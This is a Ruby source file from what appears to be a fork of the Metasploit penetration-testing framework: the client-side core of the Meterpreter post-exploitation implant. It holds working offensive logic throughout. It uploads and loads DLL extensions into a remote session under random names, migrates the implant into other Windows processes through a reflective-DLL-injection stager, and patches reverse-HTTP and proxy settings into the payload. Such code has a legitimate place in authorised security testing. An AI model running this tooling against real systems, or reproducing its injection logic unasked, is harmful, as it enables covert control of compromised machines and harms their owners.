Files
metasploit-gs/lib/rex/post/meterpreter/client_core.rb
T

348 lines
11 KiB
Ruby

# -*- coding: binary -*-
require 'rex/post/meterpreter/packet'
require 'rex/post/meterpreter/extension'
require 'rex/post/meterpreter/client'
# Used to generate a reflective DLL when migrating. This is yet another
# argument for moving the meterpreter client into the Msf namespace.
require 'msf/core/payload/windows'
# Provides methods to patch options into the metsrv stager.
require 'rex/payloads/meterpreter/patch'
module Rex
module Post
module Meterpreter
###
#
# This class is responsible for providing the interface to the core
# client-side meterpreter API which facilitates the loading of extensions
# and the interaction with channels.
#
#
###
class ClientCore < Extension
#
# Initializes the 'core' portion of the meterpreter client commands.
#
def initialize(client)
super(client, "core")
end
##
#
# Core commands
#
##
#
# Loads a library on the remote meterpreter instance. This method
# supports loading both extension and non-extension libraries and
# also supports loading libraries from memory or disk depending
# on the flags that are specified
#
# Supported flags:
#
# LibraryFilePath
# The path to the library that is to be loaded
#
# TargetFilePath
# The target library path when uploading
#
# UploadLibrary
# Indicates whether or not the library should be uploaded
#
# SaveToDisk
# Indicates whether or not the library should be saved to disk
# on the remote machine
#
# Extension
# Indicates whether or not the library is a meterpreter extension
#
def load_library(opts)
library_path = opts['LibraryFilePath']
target_path = opts['TargetFilePath']
load_flags = LOAD_LIBRARY_FLAG_LOCAL
# No library path, no cookie.
if (library_path == nil)
raise ArgumentError, "No library file path was supplied", caller
end
# Set up the proper loading flags
if (opts['UploadLibrary'])
load_flags &= ~LOAD_LIBRARY_FLAG_LOCAL
end
if (opts['SaveToDisk'])
load_flags |= LOAD_LIBRARY_FLAG_ON_DISK
end
if (opts['Extension'])
load_flags |= LOAD_LIBRARY_FLAG_EXTENSION
end
# Create a request packet
request = Packet.create_request('core_loadlib')
# If we must upload the library, do so now
if ((load_flags & LOAD_LIBRARY_FLAG_LOCAL) != LOAD_LIBRARY_FLAG_LOCAL)
image = ''
::File.open(library_path, 'rb') { |f|
image = f.read
}
if (image != nil)
request.add_tlv(TLV_TYPE_DATA, image, false, client.capabilities[:zlib])
else
raise RuntimeError, "Failed to serialize library #{library_path}.", caller
end
# If it's an extension we're dealing with, rename the library
# path of the local and target so that it gets loaded with a random
# name
if (opts['Extension'])
library_path = "ext" + rand(1000000).to_s + ".#{client.binary_suffix}"
target_path = library_path
end
end
# Add the base TLVs
request.add_tlv(TLV_TYPE_LIBRARY_PATH, library_path)
request.add_tlv(TLV_TYPE_FLAGS, load_flags)
if (target_path != nil)
request.add_tlv(TLV_TYPE_TARGET_PATH, target_path)
end
# Transmit the request and wait the default timeout seconds for a response
response = self.client.send_packet_wait_response(request, self.client.response_timeout)
# No response?
if (response == nil)
raise RuntimeError, "No response was received to the core_loadlib request.", caller
elsif (response.result != 0)
raise RuntimeError, "The core_loadlib request failed with result: #{response.result}.", caller
end
commands = []
response.each(TLV_TYPE_METHOD) { |c|
commands << c.value
}
return commands
end
#
# Loads a meterpreter extension on the remote server instance and
# initializes the client-side extension handlers
#
# Module
# The module that should be loaded
#
# LoadFromDisk
# Indicates that the library should be loaded from disk, not from
# memory on the remote machine
#
def use(mod, opts = { })
if (mod == nil)
raise RuntimeError, "No modules were specified", caller
end
# Get us to the installation root and then into data/meterpreter, where
# the file is expected to be
modname = "ext_server_#{mod.downcase}"
path = MeterpreterBinaries.path(modname, client.binary_suffix)
if (opts['ExtensionPath'])
path = opts['ExtensionPath']
end
path = ::File.expand_path(path)
# Load the extension DLL
commands = load_library(
'LibraryFilePath' => path,
'UploadLibrary' => true,
'Extension' => true,
'SaveToDisk' => opts['LoadFromDisk'])
client.add_extension(mod, commands)
return true
end
#
# Migrates the meterpreter instance to the process specified
# by pid. The connection to the server remains established.
#
def migrate( pid )
keepalive = client.send_keepalives
client.send_keepalives = false
process = nil
binary_suffix = nil
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
# Determine the architecture for the pid we are going to migrate into...
client.sys.process.processes.each { | p |
if( p['pid'] == pid )
process = p
break
end
}
# We cant migrate into a process that does not exist.
if( process == nil )
raise RuntimeError, "Cannot migrate into non existent process", caller
end
# We cant migrate into a process that we are unable to open
if( process['arch'] == nil or process['arch'].empty? )
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
end
# And we also cant migrate into our own current process...
if( process['pid'] == client.sys.process.getpid )
raise RuntimeError, "Cannot migrate into current process", caller
end
# Create a new payload stub
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
# Include the appropriate reflective dll injection module for the target process architecture...
if( process['arch'] == ARCH_X86 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "x86.dll"
elsif( process['arch'] == ARCH_X86_64 )
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll"
else
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
end
# Create the migrate stager
migrate_stager = c.new()
migrate_stager.datastore['DLL'] = MeterpreterBinaries.path('metsrv',binary_suffix)
blob = migrate_stager.stage_payload
if client.passive_service
blob.extend Rex::Payloads::Meterpreter::Patch
#
# Patch options into metsrv for reverse HTTP payloads
#
blob.patch_passive_service! blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
end
# Build the migration request
request = Packet.create_request( 'core_migrate' )
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
if( process['arch'] == ARCH_X86_64 )
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 2 ) # PROCESS_ARCH_X64
else
request.add_tlv( TLV_TYPE_MIGRATE_ARCH, 1 ) # PROCESS_ARCH_X86
end
# Send the migration request (bump up the timeout to 60 seconds)
client.send_request( request, 60 )
if client.passive_service
# Sleep for 5 seconds to allow the full handoff, this prevents
# the original process from stealing our loadlib requests
::IO.select(nil, nil, nil, 5.0)
else
# Prevent new commands from being sent while we finish migrating
client.comm_mutex.synchronize do
# Disable the socket request monitor
client.monitor_stop
###
# Now communicating with the new process
###
# If renegotiation takes longer than a minute, it's a pretty
# good bet that migration failed and the remote side is hung.
# Since we have the comm_mutex here, we *must* release it to
# keep from hanging the packet dispatcher thread, which results
# in blocking the entire process. See Redmine #8794
begin
Timeout.timeout(60) do
# Renegotiate SSL over this socket
client.swap_sock_ssl_to_plain()
client.swap_sock_plain_to_ssl()
end
rescue TimeoutError
client.alive = false
return false
end
# Restart the socket monitor
client.monitor_socket
end
end
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
if( process['arch'] == ARCH_X86_64 )
client.platform = 'x64/win64'
client.binary_suffix = 'x64.dll'
else
client.platform = 'x86/win32'
client.binary_suffix = 'x86.dll'
end
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
client.ext.aliases.keys.each { |e|
client.core.use(e)
}
# Restore session keep-alives
client.send_keepalives = keepalive
return true
end
#
# Shuts the session down
#
def shutdown
request = Packet.create_request('core_shutdown')
# If this is a standard TCP session, send and return
if not client.passive_service
self.client.send_packet(request)
else
# If this is a HTTP/HTTPS session we need to wait a few seconds
# otherwise the session may not receive the command before we
# kill the handler. This could be improved by the server side
# sending a reply to shutdown first.
self.client.send_packet_wait_response(request, 10)
end
true
end
end
end; end; end